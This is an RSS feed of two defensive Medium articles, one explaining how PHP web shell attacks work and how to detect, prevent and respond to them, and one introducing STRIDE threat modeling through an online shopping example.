<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ganesh avhad on Medium]]></title>
        <description><![CDATA[Stories by Ganesh avhad on Medium]]></description>
        <link>https://medium.com/@avhad092?source=rss-811d51aa97a2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jiaZiDfsFTOzvQejjYY4Kg.jpeg</url>
            <title>Stories by Ganesh avhad on Medium</title>
            <link>https://medium.com/@avhad092?source=rss-811d51aa97a2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 03:48:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@avhad092/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP Web Shell Attacks Explained: How One Malicious File Can Compromise a Server.]]></title>
            <link>https://medium.com/@avhad092/php-web-shell-attacks-explained-how-one-malicious-file-can-compromise-a-server-606c4f809698?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/606c4f809698</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 06:10:01 GMT</pubDate>
            <atom:updated>2026-10-25T06:10:01.304Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYAzsVioktZMnZW4JmmJTA.png" /><figcaption>PHP Web Shell Attack — How One Malicious File Can Compromise a Server. This infographic illustrates the five stages of a PHP web shell attack, from exploiting an application vulnerability and uploading a malicious PHP file to gaining unauthorized remote access and potentially compromising sensitive data, website files, and server operations. It also highlights common attack techniques, potential security impacts, and essential defensive measures, including secure file-upload validation, server hardening, least-privilege access, timely patching, and continuous security monitoring.</figcaption></figure><h3>PHP Web Shell Attacks Explained: How a Single Malicious File Can Compromise an Entire Server</h3><p><em>Understanding one of the most dangerous web application threats — and why secure file uploads, server hardening, and continuous monitoring matter.</em></p><h3>Introduction: When a Web Server Becomes an Attacker’s Gateway</h3><p>Imagine an organization running a web application that allows users to upload profile pictures, documents, or product images.</p><p>Everything appears normal. Customers access the website, employees manage business operations, and the application continues running without visible issues.</p><p>But somewhere inside the web server, a malicious PHP file has been uploaded.</p><p>That single file could allow an attacker to execute unauthorized commands, access sensitive information, modify website content, or establish persistent access to the underlying server.</p><p>This is the danger of a <strong>PHP web shell attack</strong>.</p><p>Unlike attacks that simply disrupt a website, a web shell can provide attackers with an interactive foothold inside the application environment.</p><p>What makes this threat particularly concerning is that malicious activity may occur through ordinary HTTP or HTTPS traffic, blending into legitimate application requests.</p><p><strong>A web application vulnerability can quickly become a server-level security incident.</strong></p><h3>1. What Is a PHP Web Shell?</h3><p>A PHP web shell is a malicious server-side script that allows an attacker to interact with a compromised web server through web requests.</p><p>PHP is widely used to build dynamic websites, content management systems, and backend applications.</p><p>When a web server is configured to execute PHP scripts, an attacker who manages to place a malicious script in an executable location may be able to trigger unauthorized server-side operations.</p><p>Depending on the server’s permissions and security configuration, a web shell may enable an attacker to:</p><ul><li>Access or modify application files.</li><li>Read sensitive configuration information.</li><li>Interact with databases using compromised credentials.</li><li>Execute unauthorized operating-system commands.</li><li>Upload additional malicious components.</li><li>Maintain unauthorized access.</li><li>Attempt movement toward other systems.</li></ul><p>However, a web shell does not automatically provide administrator or root privileges. Its capabilities depend on the permissions of the web-server process and any additional weaknesses an attacker can exploit.</p><h3>Why PHP Web Shells Are Dangerous</h3><p>Web shells abuse the same server-side execution mechanisms that legitimate applications rely on.</p><p>From the network’s perspective, requests to a web shell may resemble ordinary website traffic.</p><p>This makes detection challenging when organizations rely exclusively on perimeter security controls.</p><p>The problem is not PHP itself. The risk arises when application vulnerabilities, unsafe configurations, and excessive permissions allow untrusted code to execute.</p><h3>2. How a PHP Web Shell Attack Works</h3><p>A typical PHP web shell intrusion involves several stages.</p><h3>Stage 1: Identifying an Entry Point</h3><p>Attackers look for weaknesses that could allow unauthorized file placement or server-side code execution.</p><p>Potential entry points include insecure file-upload functionality, vulnerable plugins, compromised administrative accounts, outdated applications, and misconfigured web servers.</p><h3>Stage 2: Placing the Malicious Script</h3><p>After exploiting an entry point, the attacker attempts to place a PHP web shell in a location accessible to the web server.</p><p>This is especially dangerous when an application allows uploaded files to be stored in directories where server-side scripts can execute.</p><h3>Stage 3: Establishing Remote Access</h3><p>If the server executes the malicious file, the attacker may gain a remote interface for interacting with the application environment.</p><p>The level of access depends on the web-server process’s privileges and the surrounding security controls.</p><h3>Stage 4: Post-Compromise Activity</h3><p>An attacker may attempt to discover sensitive files, access application credentials, modify website content, or identify additional opportunities within the environment.</p><h3>Stage 5: Persistence and Concealment</h3><p>Some attackers attempt to maintain access by hiding malicious files among legitimate application components or abusing compromised accounts.</p><p>Because these operations may use normal web requests, unauthorized activity can remain unnoticed without adequate monitoring.</p><p><strong>The attack becomes particularly serious when an application-level weakness provides access to sensitive server resources.</strong></p><h3>3. Common Vulnerabilities Behind PHP Web Shell Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_h_6AO7XmxWTDyg1FS__Q.png" /><figcaption>Common Vulnerabilities Behind PHP Web Shell Attacks — Entry Points, Risks, and Prevention. This infographic highlights five major security weaknesses that can enable PHP web shell attacks: insecure file uploads, outdated CMS platforms and plugins, weak administrative security, server misconfigurations, and remote code execution vulnerabilities. It illustrates how attackers can exploit these weaknesses to upload malicious PHP scripts, gain unauthorized server access, and compromise sensitive information, while emphasizing preventive measures such as secure file validation, timely patching, multi-factor authentication, least-privilege access, server hardening, and secure coding practices.</figcaption></figure><h3>Insecure File Uploads</h3><p>Applications that accept user-uploaded files without appropriate validation may unintentionally permit executable scripts to reach the server.</p><p>A secure upload mechanism should verify file types, enforce size restrictions, use randomized filenames, and store uploads outside executable directories.</p><h3>Outdated CMS Platforms and Plugins</h3><p>Content management systems such as WordPress, Drupal, and Joomla rely on extensible ecosystems.</p><p>Outdated components may contain vulnerabilities that attackers exploit to gain unauthorized access or write files.</p><h3>Weak Administrative Security</h3><p>Compromised administrator accounts can sometimes provide access to features capable of modifying application files.</p><p>Weak passwords, missing multi-factor authentication, and excessive administrative permissions increase exposure.</p><h3>Server Misconfiguration</h3><p>A web server that executes scripts from user-upload directories creates unnecessary risk.</p><p>Incorrect filesystem permissions and excessive process privileges can further increase the impact of a successful compromise.</p><h3>Remote Code Execution Vulnerabilities</h3><p>Certain application vulnerabilities may allow attackers to execute code directly, potentially creating opportunities to install a web shell.</p><h3>4. Business Impact: Why Organizations Should Care</h3><p>A successful PHP web shell intrusion can affect far more than a single website.</p><h3>Data Breaches</h3><p>Attackers may access customer records, application secrets, database credentials, or internal business information.</p><h3>Website Defacement</h3><p>Compromised applications may be modified to display unauthorized content, affecting brand reputation and customer confidence.</p><h3>Service Disruption</h3><p>Attackers may alter application files, interfere with backend processes, or damage critical services.</p><h3>Additional Malware Deployment</h3><p>A compromised server can become a staging point for malicious software, depending on the attacker’s permissions and available access.</p><h3>Financial and Regulatory Consequences</h3><p>Security incidents can result in investigation costs, operational downtime, customer notification obligations, and potential regulatory consequences.</p><p>For organizations handling sensitive information, a compromised web server can become a major business continuity and data protection concern.</p><h3>5. How Security Teams Detect PHP Web Shells</h3><p>Effective detection requires visibility across application files, server processes, web traffic, and security logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXOKSxFBJqVLqdj9L3A08Q.png" /><figcaption>PHP Web Shell Security — Detection, Prevention, and Real-World Attack Scenario. This infographic illustrates how security teams detect PHP web shells through file integrity monitoring, suspicious HTTP request analysis, process monitoring, code inspection, and centralized security event correlation. It also highlights essential preventive controls — including secure file uploads, least-privilege permissions, application patching, server hardening, web application firewalls, and continuous monitoring — alongside an e-commerce case study demonstrating how an insecure product image-upload feature could expose a PHP server to unauthorized access, data theft, and further compromise.</figcaption></figure><h3>File Integrity Monitoring</h3><p>Security teams should monitor web directories for unexpected file creation or modification.</p><p>Particular attention should be given to newly introduced executable files and changes outside approved deployment processes.</p><h3>Suspicious HTTP Requests</h3><p>Unexpected requests to unfamiliar PHP files, unusual request patterns, and access to files in upload directories may warrant investigation.</p><h3>Process Monitoring</h3><p>Web-server processes unexpectedly launching system utilities or command interpreters can indicate suspicious activity.</p><p>Such behavior should be investigated in context because some legitimate applications also invoke external processes.</p><h3>Code Inspection</h3><p>Security reviews may identify suspicious constructs, unusual obfuscation, or unexpected dynamic execution behavior.</p><p>For example, functions such as eval(), base64_decode(), and system() can appear in suspicious PHP files, but their presence alone does not establish that a file is malicious.</p><h3>Security Monitoring and Correlation</h3><p>Centralized logging, endpoint detection and response, web application firewalls, and security information and event management systems can help correlate indicators across multiple sources.</p><p>No single indicator reliably identifies every web shell.</p><h3>6. How to Prevent PHP Web Shell Attacks</h3><p>Organizations can substantially reduce exposure through layered application and infrastructure security.</p><h3>Secure File Uploads</h3><p>Use strict server-side validation, allowlists of approved file formats, content inspection, and safe storage locations.</p><p>Uploaded content should never be executable as server-side code.</p><h3>Apply Least Privilege</h3><p>Web-server processes should have only the filesystem and operating-system permissions required for their legitimate functions.</p><p>Avoid granting unnecessary write access to application code directories.</p><h3>Patch Applications and Dependencies</h3><p>Maintain current versions of PHP, web servers, frameworks, content management systems, and third-party plugins.</p><p>Prioritize known exploited vulnerabilities and internet-facing services.</p><h3>Harden Server Configuration</h3><p>Disable unnecessary functionality, restrict script execution in upload directories, and protect sensitive configuration files.</p><h3>Use Web Application Firewalls</h3><p>A properly configured WAF can help identify and block certain malicious requests.</p><p>However, it should complement secure application design rather than replace it.</p><h3>Implement Continuous Monitoring</h3><p>Monitor changes to production files, unusual process behavior, suspicious network activity, and unauthorized administrative actions.</p><h3>Protect Administrative Access</h3><p>Enforce multi-factor authentication, strong access policies, and restricted administrative interfaces.</p><h3>7. Practical Security Case Study: An Online Shopping Application</h3><p>Consider an e-commerce platform with the following components:</p><ul><li>Customer-facing website.</li><li>PHP backend application.</li><li>Product image-upload functionality.</li><li>Product and order database.</li><li>Administrative dashboard.</li><li>Web server hosting the application.</li></ul><p>The application allows administrators to upload product images.</p><h3>The Security Weakness</h3><p>Suppose the upload feature relies only on client-provided file information and stores uploads inside a directory configured to execute PHP scripts.</p><p>This creates a dangerous trust boundary.</p><h3>The Threat Scenario</h3><p>An attacker with access to the upload feature attempts to submit a malicious server-side script disguised as an acceptable file.</p><p>If the application fails to validate the file correctly and the server executes it, the attacker may gain unauthorized access to application resources.</p><h3>Potential Impact</h3><p>Depending on permissions and network access, the attacker could potentially read configuration files, obtain database credentials, modify product information, or access sensitive order records.</p><h3>Recommended Security Controls</h3><p>The organization should enforce strict file validation, store uploads outside executable directories, prevent PHP execution in upload locations, and apply least-privilege filesystem permissions.</p><p>Additional protections include monitoring production file changes, reviewing administrative access, and regularly testing upload functionality.</p><h3>Security Lesson</h3><p><strong>File-upload security is not simply about controlling what users can submit. It is about ensuring untrusted content never becomes executable code.</strong></p><h3>8. Threat Modeling PHP Web Shell Attacks Using STRIDE</h3><p>The STRIDE framework provides a structured way to evaluate the security implications of web shell attacks.</p><p>STRIDE CategoryExample Security Concern<strong>Spoofing</strong>An attacker uses compromised administrative credentials.<strong>Tampering</strong>Unauthorized modification of website files or database records.<strong>Repudiation</strong>Missing audit logs prevent investigators from identifying malicious actions.<strong>Information Disclosure</strong>A compromised application exposes sensitive customer or configuration data.<strong>Denial of Service</strong>Malicious activity disrupts website availability.<strong>Elevation of Privilege</strong>An attacker exploits additional weaknesses to obtain greater system permissions.</p><p>STRIDE helps security teams move beyond identifying a malicious file and examine the broader security weaknesses that enable compromise.</p><h3>9. Incident Response: What to Do if a Web Shell Is Discovered</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJ0uFZEohcpmvLbeLrcYhw.png" /><figcaption>PHP Web Shell Incident Response — Six Essential Steps to Contain, Investigate, and Recover from an Attack. This infographic illustrates a structured six-stage incident response process: containing the threat, investigating suspicious activity, identifying the initial entry point, assessing the security impact, eradicating malicious access, and strengthening defenses against future attacks. It emphasizes that simply deleting a malicious PHP file may not eliminate the threat, highlighting the importance of forensic investigation, evidence preservation, credential rotation, vulnerability remediation, secure system recovery, and continuous security monitoring.</figcaption></figure><p>Discovering a suspected PHP web shell requires a coordinated response.</p><p><strong>First, contain the incident.</strong> Restrict the affected server’s exposure and prevent further unauthorized access while preserving evidence.</p><p><strong>Second, investigate the compromise.</strong> Review application logs, filesystem changes, process activity, account access, and network connections.</p><p><strong>Third, determine the entry point.</strong> Identify the vulnerability or compromised credentials that allowed the attacker to gain access.</p><p><strong>Fourth, assess the impact.</strong> Determine whether sensitive information was accessed, application files were modified, or other systems were affected.</p><p><strong>Fifth, eradicate and recover.</strong> Rebuild affected systems from trusted sources when appropriate, remove unauthorized access, rotate exposed credentials, and remediate the underlying vulnerability.</p><p><strong>Finally, improve defenses.</strong> Update detection rules, strengthen application controls, and incorporate lessons learned into future security reviews.</p><p>Simply deleting a suspicious PHP file may not be sufficient if the attacker has established additional access.</p><h3>10. The Bigger Lesson: Secure Applications Require Secure Execution Boundaries</h3><p>PHP web shell attacks demonstrate how small application weaknesses can create significant infrastructure risks.</p><p>An insecure upload feature, outdated plugin, or misconfigured server can undermine otherwise strong security investments.</p><p>The most effective defense is not a single security product.</p><p>It is a combination of secure software design, continuous vulnerability management, least-privilege access, effective monitoring, and tested incident response procedures.</p><p>Threat modeling can help organizations identify these weaknesses before attackers exploit them.</p><p>By understanding how untrusted content enters an application, where files are stored, and which components can execute code, development and security teams can design stronger security boundaries.</p><h3>Conclusion: One Malicious File Can Change Everything</h3><p>A PHP web shell may appear to be a small file, but its potential impact can extend across an entire application environment.</p><p>The threat highlights the importance of secure file handling, server hardening, strong access controls, and continuous monitoring.</p><p>Organizations should treat web application security as an essential part of enterprise cybersecurity — not merely a development concern.</p><p>The goal is not only to detect malicious files after they appear.</p><p>It is to design systems where untrusted files cannot become executable threats in the first place.</p><p><strong>Think like an attacker. Design like a defender. Secure every layer.</strong></p><p><em>Because protecting a web application means protecting the systems, data, and people that depend on it.</em></p><h3>References and Further Reading</h3><ul><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html">OWASP File Upload Cheat Sheet</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li><li><a href="https://attack.mitre.org/techniques/T1505/003/">MITRE ATT&amp;CK — Server Software Component: Web Shell (T1505.003)</a></li><li><a href="https://www.cisa.gov/">CISA — Cybersecurity Resources</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=606c4f809698" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Before the Breach: Mastering Threat Modeling with STRIDE]]></title>
            <link>https://medium.com/@avhad092/before-the-breach-mastering-threat-modeling-with-stride-5e74e445d255?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e74e445d255</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 05:27:11 GMT</pubDate>
            <atom:updated>2026-10-25T05:43:02.033Z</atom:updated>
            <content:encoded><![CDATA[<h3>Think Like an Attacker. Design Like a Defender.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nu9xmJYNxKfc45CgC33asg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15Ly3PaOGixaONSdSVpEJg.png" /><figcaption>Threat Modeling Theory — A proactive cybersecurity approach to identifying threats, assessing risks, prioritizing vulnerabilities, implementing defenses, and continuously improving security to build safer, more resilient systems.</figcaption></figure><p>What if the biggest security vulnerability in your application was hidden in its design — not its code?</p><p>In cybersecurity, building a functional system is only half the challenge. The real challenge is building a system that can withstand attacks, protect sensitive data, and remain secure as it evolves.</p><p>This is where <strong>threat modeling</strong> comes in.</p><p>Threat modeling is a proactive security practice that helps teams identify potential threats, analyze attack surfaces, evaluate risks, and design appropriate defenses before vulnerabilities become real-world incidents.</p><p>In this article, we’ll explore threat modeling fundamentals, the Shift Left approach, the STRIDE methodology, essential tools, and a practical example of securing an application.</p><h3>1. What Is Threat Modeling?</h3><p>Threat modeling is a structured process for understanding how a system could be attacked and determining how to defend it.</p><p>It helps security professionals answer five essential questions:</p><ul><li><strong>What are we building?</strong> Understand the architecture and data flows.</li><li><strong>What could go wrong?</strong> Identify potential threats and attack paths.</li><li><strong>What is the impact?</strong> Assess the consequences of successful attacks.</li><li><strong>How can we prevent it?</strong> Design appropriate security controls.</li><li><strong>How do we verify protection?</strong> Test whether the mitigations work.</li></ul><p>Think of threat modeling as a security blueprint. Just as architects consider doors, windows, and emergency exits when designing a building, security engineers examine entry points, trust boundaries, sensitive data, and system permissions when designing software.</p><h3>Threat vs. Vulnerability vs. Risk</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*peEXcqazbuJ_04AHvgmC4g.png" /><figcaption>Threat vs. Vulnerability vs. Risk in Cybersecurity — Understanding the key differences between potential security threats, exploitable system weaknesses, and the likelihood and impact of security incidents. Using a real-world online shopping application example, the infographic illustrates how attackers can exploit broken access controls to access sensitive customer information, highlighting the importance of identifying threats, addressing vulnerabilities, and prioritizing risks to build more secure applications.</figcaption></figure><ul><li><strong>Threat:</strong> Something that could cause harm, such as an attacker attempting to steal credentials.</li><li><strong>Vulnerability:</strong> A weakness that could be exploited, such as an API that fails to verify user permissions.</li><li><strong>Risk:</strong> The potential impact and likelihood of a threat exploiting a vulnerability.</li></ul><p>Understanding these distinctions helps teams focus on meaningful security problems rather than treating every theoretical threat as equally dangerous.</p><h3>2. Why Is Threat Modeling Important?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eF4Ai_gSSi9YnW5rn960_Q.png" /><figcaption>Why Is Threat Modeling Important? — Six key benefits of proactive threat modeling: early vulnerability detection, risk prioritization, reduced remediation costs, stronger data protection, improved team collaboration, and secure-by-design development. By identifying potential security weaknesses early in the Software Development Life Cycle (SDLC), organizations can make informed security decisions, minimize risks, and build more resilient, reliable, and trustworthy applications.</figcaption></figure><p>Threat modeling helps organizations build security into systems instead of adding it as an afterthought.</p><p>Its key benefits include:</p><ul><li><strong>Early detection:</strong> Identify design weaknesses before implementation.</li><li><strong>Risk prioritization:</strong> Focus on threats with the greatest potential impact.</li><li><strong>Lower remediation costs:</strong> Address architectural problems before they become expensive to fix.</li><li><strong>Data protection:</strong> Reduce the risk of unauthorized access and information disclosure.</li><li><strong>Better collaboration:</strong> Give developers, architects, and security teams a shared understanding of risks.</li><li><strong>Secure-by-design development:</strong> Make security a fundamental part of the software architecture.</li></ul><p>The goal is not to predict every possible attack. It is to identify important risks and make informed decisions about how to reduce them.</p><h3>3. Shift Left: Security Starts Before Coding</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L-jTaZQMbq5CGE9mx0bSbw.png" /><figcaption>Shift Left — Security Starts Before Coding. A proactive approach to integrating security early in the Software Development Life Cycle (SDLC), enabling teams to identify vulnerabilities sooner, reduce remediation costs, improve software quality, and build secure applications from the ground up.</figcaption></figure><p>The <strong>Shift Left approach</strong> means integrating security activities early in the Software Development Life Cycle (SDLC), particularly during requirements gathering and system design.</p><p>In a traditional workflow, security weaknesses may be discovered late, after significant development effort has already been invested.</p><p>With Shift Left, teams analyze threats before writing code.</p><p><strong>Example:</strong> Before developing a banking application, a team identifies account takeover as a potential threat. It plans strong authentication, secure session management, server-side authorization, and suspicious-login monitoring during the design phase.</p><p>These controls become part of the architecture rather than emergency fixes after deployment.</p><h3>Threat Modeling Across the SDLC</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*65Xnk_pUnmyKMsSTnlMzdw.png" /><figcaption>Threat Modeling Across the SDLC — Integrating security at every stage of the Software Development Life Cycle (SDLC), from planning and design to development, testing, deployment, and maintenance, to identify threats early, minimize vulnerabilities, reduce security risks, and build secure, resilient applications.</figcaption></figure><ol><li><strong>Planning:</strong> Identify critical assets and security requirements.</li><li><strong>Design:</strong> Map architecture, data flows, trust boundaries, and threats.</li><li><strong>Development:</strong> Implement security controls and follow secure coding practices.</li><li><strong>Testing:</strong> Verify mitigations through code reviews and security testing.</li><li><strong>Deployment:</strong> Apply secure configurations and access restrictions.</li><li><strong>Maintenance:</strong> Reassess threats when features, dependencies, or environments change.</li></ol><p>Threat modeling is not a one-time activity. Every significant architectural change can introduce new attack surfaces.</p><h3>4. Threat Modeling Methodologies</h3><p>Different methodologies help teams identify and evaluate threats from different perspectives.</p><ul><li><strong>STRIDE:</strong> Categorizes threats into six security-related categories. It is particularly useful during architecture and design reviews.</li><li><strong>PASTA:</strong> Process for Attack Simulation and Threat Analysis. A risk-centric methodology that connects business objectives with attack scenarios and technical risks.</li><li><strong>DREAD:</strong> Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability. A historical risk-rating model whose scoring can be subjective.</li></ul><p>For beginners and application security teams, <strong>STRIDE is an excellent starting point</strong> because it provides a systematic way to examine how individual system components could be attacked.</p><h3>5. STRIDE: Six Categories of Security Threats</h3><p>STRIDE helps security professionals identify threats by examining six categories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEg_2dHM0rTJdH_-XZB0Ig.png" /><figcaption>STRIDE — Six Categories of Security Threats. A structured threat modeling framework that identifies six major security threats: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege, helping organizations identify vulnerabilities, assess security risks, and implement effective defenses throughout the Software Development Life Cycle (SDLC).</figcaption></figure><p>CategorySecurity concernExample<strong>S — Spoofing</strong>AuthenticationAn attacker impersonates a legitimate user.<strong>T — Tampering</strong>IntegrityAn attacker modifies a transaction amount.<strong>R — Repudiation</strong>AccountabilityAn action cannot be reliably traced to its origin.<strong>I — Information Disclosure</strong>ConfidentialityAn API exposes another user’s private data.<strong>D — Denial of Service</strong>AvailabilityExcessive requests make a service unavailable.<strong>E — Elevation of Privilege</strong>AuthorizationA regular user gains administrator permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4RkQOLu6q-PUF8BDdxu8gQ.png" /><figcaption>STRIDE Threat Analysis for an Online Shopping Application — A practical overview of six major security threats — Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. The infographic illustrates real-world e-commerce attack scenarios, their potential security impacts, recommended mitigation strategies, and key questions to help developers identify vulnerabilities, strengthen security controls, and protect customer data, transactions, and application services.</figcaption></figure><h3>S — Spoofing</h3><p><strong>Threat:</strong> An attacker uses stolen credentials or session tokens to impersonate a legitimate user.</p><p><strong>Mitigations:</strong> Strong authentication, multi-factor authentication where appropriate, secure session management, and suspicious-login detection.</p><p><strong>Ask yourself:</strong> How does the system verify a user’s identity?</p><h3>T — Tampering</h3><p><strong>Threat:</strong> An attacker modifies sensitive data, application inputs, or transactions without authorization.</p><p><strong>Mitigations:</strong> Server-side validation, integrity protections, secure communication, and strict access controls.</p><p><strong>Ask yourself:</strong> Can an attacker modify data or operations they should not control?</p><h3>R — Repudiation</h3><p><strong>Threat:</strong> A user denies performing an action, and the system lacks sufficient evidence to investigate it.</p><p><strong>Mitigations:</strong> Reliable audit logs, protected records, accurate timestamps, and appropriate log-retention policies.</p><p><strong>Ask yourself:</strong> Can we establish who performed a sensitive action and what happened?</p><h3>I — Information Disclosure</h3><p><strong>Threat:</strong> Sensitive information becomes accessible to unauthorized users.</p><p><strong>Mitigations:</strong> Access controls, encryption, data minimization, and secure error handling.</p><p><strong>Ask yourself:</strong> Could someone access information they are not authorized to see?</p><h3>D — Denial of Service</h3><p><strong>Threat:</strong> An attacker exhausts system resources and prevents legitimate users from accessing a service.</p><p><strong>Mitigations:</strong> Rate limiting, resource quotas, timeouts, monitoring, and appropriate availability protections.</p><p><strong>Ask yourself:</strong> Could an attacker make this service unavailable?</p><h3>E — Elevation of Privilege</h3><p><strong>Threat:</strong> A user gains permissions beyond those intended for their account.</p><p><strong>Mitigations:</strong> Server-side authorization, least privilege, role-based access controls, and privilege-escalation testing.</p><p><strong>Ask yourself:</strong> Can a user perform actions beyond their assigned permissions?</p><h3>6. Practical Case Study: Threat Modeling an Online Shopping Application</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83Ejg9bqsCwn7CQSLhlQpg.png" /><figcaption>Practical Case Study — Threat Modeling an Online Shopping Application. An overview of an e-commerce platform’s architecture, highlighting critical assets such as customer credentials, personal information, payment data, order records, and administrative privileges. The diagram identifies key attack surfaces, including authentication endpoints, backend APIs, checkout workflows, database connections, and administrative interfaces, helping teams recognize potential security threats and implement proactive defenses.</figcaption></figure><p>Consider an online shopping platform where customers can sign in, browse products, place orders, and make payments.</p><p>Its architecture includes:</p><ul><li>Customer web or mobile application</li><li>Backend API</li><li>Authentication service</li><li>Product and order database</li><li>External payment gateway</li><li>Administrative interface</li></ul><h3>Step 1: Identify critical assets</h3><p>The system must protect customer credentials, personal information, order records, payment-related data, product prices, and administrative privileges.</p><h3>Step 2: Identify attack surfaces</h3><p>Important entry points include login endpoints, order APIs, checkout workflows, database connections, and administrative interfaces.</p><h3>Step 3: Apply STRIDE</h3><p>ThreatAttack scenarioMitigationSpoofingAn attacker takes over a customer account.Strengthen authentication and session security.TamperingA customer changes an order price in a request.Calculate authoritative prices on the server.RepudiationAn order dispute cannot be investigated.Maintain protected audit records.Information DisclosureA customer accesses another customer’s order.Enforce object-level authorization.Denial of ServiceAn attacker overwhelms checkout endpoints.Apply rate limits and resource controls.Elevation of PrivilegeA customer accesses administrative functions.Enforce server-side permission checks.</p><h3>Step 4: Prioritize and verify risks</h3><p>Suppose testing reveals that customers can access other customers’ orders by changing an order identifier in an API request.</p><p>This is an object-level authorization weakness that may expose personal information and order details.</p><p>The team should:</p><ol><li>Document the affected endpoint and exposed assets.</li><li>Assess the likelihood and impact of exploitation.</li><li>Implement server-side authorization checks for every requested order.</li><li>Test access using different customer accounts.</li><li>Record the results and track remediation.</li></ol><p>This example demonstrates the complete threat modeling cycle: <strong>identify, assess, mitigate, and verify.</strong></p><h3>7. Tools for Threat Modeling</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzbFJuSoDfvjZ_9hmysERA.png" /><figcaption>Tools for Threat Modeling — An overview of five popular tools — OWASP Threat Dragon, Microsoft Threat Modeling Tool, AWS Threat Composer, Miro, and diagrams.net (Draw.io) — that help security teams visualize system architectures, identify potential threats, document security risks, plan mitigations, and collaborate to build more secure applications.</figcaption></figure><p>The right tool depends on your architecture, team size, and documentation requirements.</p><ul><li><strong>OWASP Threat Dragon:</strong> An open-source tool for creating threat models and documenting threats and mitigations.</li><li><strong>Microsoft Threat Modeling Tool:</strong> Supports architectural threat modeling and structured threat identification.</li><li><strong>AWS Threat Composer:</strong> Helps teams document threat scenarios and mitigations, particularly in cloud-oriented environments.</li><li><strong>Miro:</strong> Useful for collaborative threat modeling workshops and architecture brainstorming.</li><li><strong>diagrams.net (Draw.io):</strong> Useful for creating architecture diagrams, data flows, and trust boundaries.</li></ul><p>Remember: tools support the process, but they do not replace security expertise or a systematic methodology.</p><h3>8. Common Mistakes to Avoid</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SicwP7PqLeKSJEEeXKYJGA.png" /><figcaption>Common Mistakes to Avoid in Threat Modeling — Six critical pitfalls that can weaken threat modeling effectiveness, including inaccurate architecture analysis, poor risk prioritization, overlooked business logic vulnerabilities, untested security controls, unclear risk ownership, and outdated threat models. Avoiding these mistakes helps teams establish actionable security requirements, implement effective remediation strategies, and achieve measurable security improvements.</figcaption></figure><p>Even a well-documented threat model can fail to improve security if teams do not act on its findings.</p><p>Avoid these mistakes:</p><ul><li>Modeling the system without understanding its actual architecture.</li><li>Treating every threat as equally important.</li><li>Ignoring business logic and authorization weaknesses.</li><li>Assuming planned security controls work without testing them.</li><li>Failing to assign owners to identified risks.</li><li>Forgetting to update the threat model after architectural changes.</li></ul><p>A useful threat model should lead to concrete security requirements, actionable remediation tasks, and verifiable results.</p><h3>Conclusion: Build Security Before You Need It</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1v621NzO493LC_GzN_asQ.png" /><figcaption>Build Security Before You Need It — A proactive approach to threat modeling that integrates Shift Left security, STRIDE, PASTA, and security tools throughout the Software Development Life Cycle (SDLC). By identifying vulnerabilities early, assessing risks, implementing preventive controls, and continuously improving defenses, organizations can build secure, resilient, and trustworthy applications. Think like an attacker. Design like a defender. Build with security in mind.</figcaption></figure><p>Threat modeling changes security from a reactive activity into a proactive engineering discipline.</p><p>The Shift Left approach encourages teams to identify weaknesses early. STRIDE provides a structured framework for discovering common threat categories. PASTA supports deeper risk-centric analysis, while threat modeling tools help teams document their findings and mitigations.</p><p>But the real value of threat modeling is not the framework, diagram, or tool. It is the ability to recognize how a system could fail and make deliberate decisions to prevent that failure.</p><p>Every API, database, authentication flow, and external integration introduces security considerations. By identifying them early, teams can reduce risk, improve resilience, and build more trustworthy applications.</p><p><strong>Think like an attacker. Design like a defender. Build with security in mind.</strong></p><p>Because the strongest security blueprint is the one that helps you discover what could go wrong before it actually does.</p><h3>Further Reading</h3><ul><li>OWASP Threat Modeling: <a 